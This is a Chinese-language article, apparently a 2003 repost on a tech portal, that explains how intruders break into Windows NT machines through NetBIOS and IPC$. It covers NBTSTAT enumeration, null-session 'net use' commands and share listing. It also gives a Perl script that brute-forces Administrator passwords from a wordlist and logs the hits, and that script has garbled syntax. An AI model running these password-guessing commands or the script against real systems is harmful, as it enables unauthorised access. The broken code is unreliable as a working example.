通过NetBIOS入侵技术分析

互联网 | 编辑: 杨剑锋 2003-11-05 00:00:00转载 一键看全文

通过分析NBTSTAT的命令输出,入侵者就能得到任何登录到那台计算机上的用户名。在NBTSTAT输出里,类型(Type)为< 03>的就是用户名或计算机名。类型(Type)为< 20>的就表示它是一个共享的资源。

IPC$(Inter-Process Communication)共享是NT计算机上的一个标准的隐含共享,它是用于服务器之间的通信的。NT计算机通过使用这个共享来和其他的计算机连接得到不同类型的信息的。入侵者常常利用这一点来,通过使用空的I PC会话进行攻击。

有一个一个比较好的IPC会话工具:RedButton。 它是个很灵巧的程序,能登录到NT系统而不会显示用户名和口令。这个工具运行环境是NT。运行这个程序,将看到任何可能的共享,包括任何隐藏的a dmin共享(ie, shares以"$"结束。默认的,有几个这样的可以得到的共享...C$,WINNT$,IPC$等等)。

注意:IPC$共享不是一个目录,磁盘或打印机意义上的共享。你看到的"$",它是默认的在系统启动时的admin共享。IPC是指"interproce ss communications"。IPC$共享提供了登录到系统的能力。注意,你试图通过IPC$连接会在EventLog中留下记录。不管你是否登录成功。

入侵者使用下面的命令对IPC$实施攻击:
c:\>net use \\[目标机器的IP地址]\ipc$ /user:< name> < passwd>

当这个连接建立后,要将username和password送去加以确认。如果你以"Administrator"登录,则需要进行口令猜测。

可以重复使用'net'命令,进行username和password猜测:
c:\>net use \\xxx.xxx.xxx.xxx\ipc$ /user:< name> < passwd>

也可以使用脚本语句:
open(IPC, "net use \\xxx.xxx.xxx.xxx\ipc$ /user:< name> < passwd> | ");

NAT工具能自动完成上述功能。NAT是通过读取字典文件中的口令,进行重复登录,从而获取帐号。当然,可以编写一个脚本来实现NAT的功能。

Perl是一种很好的语言,是解释性的,如Java,但运行速度比Java快。同时,Unix系统能解释它。现在,95和NT版的Perl也已经推出。

下面这个脚本程序可以用来进行帐号和口令猜测。

----- begin script -----
# ipcchk.plx
# 该脚本从一个文本文件读入单词,并将该单词作为用户名和口令,进行
# IPC$连接。成功的连接保存到一个log文件。该脚本不检查输入参数的
# 有效性,因此必须输入目标机器的合法的IP地址。
#
# 用法: c:\>perl ipcchk.plx [目标机器的IP地址]

open(TEST, "names.txt") | | die "Could not open file.";
open(LOG,">>ipc.log") | | die "Could not open log.";

if (length($ARGV[0]) == 0) {
print "Usage: perl ipcchk.plx [ipaddr]";
exit(0);
}

$server = ARGV[0];

while(< TEST> ) {

$name = $_;
chop($name);
# print "net use \\\\$server\\ipc\$ /userdministrator $name | \n";
open(IPC, "net use \\\\$server\\ipc\$ /userdministrator $name | ");

while(< IPC> ) {
if (grep(/successfully/,$_)) {
print LOG "$server accepts connections for password $name\n";
# delete a successful connection to avoid multiple connections to
# the same machine
open(DEL, "net use \\\\$server\\ipc\$ /d | ");
}
}
----- end script -----

当然,你只要知道原理,可以用C语言或BASIC语言,编写一个具有上述功能的程序。

一旦进入,就不仅仅是能够收集用户名了。还能做许多其他事情。

接下来,入侵者会试图看看目标计算机上有那些共享的资源可以利用。可以使用下面一个命令:
c:\>net view \\[目标计算机的IP地址]
根据目标计算机的安全策略,这个命令有可能被拒绝。看看下面的例子:

C:\>net view \\0.0.0.0System error 5 has occurred.Access is denied.
C:\>net use \\0.0.0.0\ipc$ "" /user:""The command completed successfully.C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0

Share name Type Used as Comment
-------------------------------------------------------------------------------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk

该命令顺利地完成了。

提示:试试键盘 “← →” 可以实现快速翻页 

一键看全文

本文导航

相关阅读

每日精选

点击查看更多

首页 手机 数码相机 笔记本 游戏 DIY硬件 硬件外设 办公中心 数字家电 平板电脑